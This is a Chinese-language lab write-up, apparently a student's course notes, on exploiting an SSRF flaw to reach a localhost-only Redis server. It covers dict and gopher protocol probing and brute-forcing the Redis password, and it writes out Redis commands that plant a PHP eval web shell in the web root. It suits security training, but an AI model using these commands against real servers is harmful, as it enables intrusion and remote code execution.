我们先将Redis启动起来
这时候使用windows去连接,连接成功的原因是Redis在配置文件中允许被远程访问,我们只需要在windows上操作Redis,爆破成功就可以成功登录上去了
还有一种情况就是,在之前进行远程登录的时候我们将bind 127.0.0.1 -::1给注释了,重新加了一个bind 0.0.0.0,我们现在将bing 127.0.0.1 -::1的注释给拿掉,将bind 0.0.0.0给注释了
然后在window上进行远程登录的时候就没有办法进行连接了,只能在本机进行连接
确认一下本机能否进行连接,经过验证,发现可以进行连接
这是之前学习SSRF时候写的代码,我用老师的电脑进行操作
首先先看看是否存在SSRF漏洞,经过我们的验证,的确存在,下图就是例子
当我们一顿操作访问到6379端口的时候(可以使用Python进行脚本的撰写),发现一直在转圈,然后去换一个协议
换成dict的时候,发现一下子就出来啦,6378端口没有,只有6379端口有,回显的内容告诉我们需要进行登录,所以我们扫出来了6379端口,而这个消息就是Redis的消息,存在SSRF漏洞
然后我们尝试去登录它,发现半天都连不上,计算机拒绝连接,说明Redis bind了本机IP(环路IP),所以外部的客户端是无法进行连接Redis的,但是发现SSRF漏洞,发现这个漏洞就可以,如上图所示,提示告诉我们需要进行登录
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议,那么就可以轻易的获取目标服务器端口上运行的服务版本等信息
这个时候我们得到了一些反馈,说明字典服务器是有效的,这只是个互联网上的一个服务器
后面跟上help的指令,会给我们返回当前字典有哪些指令和选项
查看其源代码
在指令位置使用show db,它会给我们返回这个字典服务器上的所拥有的各式各样的字典
我们通过define指定一个数据库来查某一个单词的意思
然后就会给我们返回family这个单词在这个字典里面的解释
Redis是键值对的形式,我们可以使用dict下达Redis的指令,在后面加上auth:admin123,提示告诉我们登录成功
接下来执行指令keys *,发现还得进行验证,所以这儿有一个问题就是,dict协议支持Redis指令的操作,但是不支持维持这个session
我们先把密码给注释掉,让这个实验能够更加顺利的走下去
接下来我们继续执行刚才那个指令,我们还可以执行其他的指令,这里就不再执行了
我们进到Redis环境,同样的这些值都在这里面,所以就是我们可以通过dict这种协议来匿名登录然后还可以发送,将值成功保存到Redis服务器中
那么问题来了,如果这个Redis需要登录该怎么办呢
因为上面的环境我们将密码给注释掉了,所以不会被密码所限制,如果有密码的话,我们只能够登录上去,如果还想继续做Redis的操作,就已经不顶事了,因为这是一个死循环,无论如何只能执行auth:admin123,而不能进行接下来的操作,这样的话,dict这种协议就没有办法啦,dict还可以登录记录那条有效的,我们可以用来爆破登录的密码
于是呢,我们就使用gopher,gopher的能力比dict的强,因为gopher可 以构造各种TCP层面的请求包,所以gopher在SSRF漏洞利用中充当万金油的角色
由于上面我们将密码给注释了,所以我们现在将密码的注释给删除,然后我们使用bp进行爆破密码,爆破成功,发现密码是admin123
然后我们再将密码给注释掉,植入一个木马看看,还是和Redis实战的一样
config:set:dir:/opt/lampp/htdocs/security
config:set:dbfilename:redismm.php
set:myshell:<?php eval($_POST['code']); ?>
save
执行了save之后,我们就可以对这个木马文件进行访问
这个回显不对,看看是哪的问题,通过下图发现,很明显,内容有问题
这个时候我们先去做一个flushdb操作,将已有的数据给清空
然后去Redis服务器去看看,发现当前数据库里面已经没有key了,因为我们已经将其清空了,不要让这些已有的东西来影响我们
接下来再配置路径,配置文件名,然后再设置内容,经过一系列的操作,发现这次输入的不会引起报错啦
set:myshell:<?=phpinfo();?>
然后save一下,做持久化操作,发现OK,没有报错了
然后我们进去Redis服务器里面验证一下,发现有key了,是myshell,然后我们get myshell,没有发现完整的PHP代码,只出现了<,说明在myshell写入的过程中?出现问题了
然后我们尝试在PHP代码两边加上换行符,发现也还是报错啦
set:myshell:"\n\n<?=phpinfo(); ?>\n\n"
我们也可以采取转义的方法
set:myshell:"\n\n<?php @eval($_POST[code]);?>\n\n"
我们对里面的PHP代码进行转义,转成16进制
然后我们save持久化一下,然后去文件系统里面看看写入的值正不正确,发现是正确的
然后就去访问这个redismm.php即可,这次保证成功,因为写入的PHP代码可以被执行解析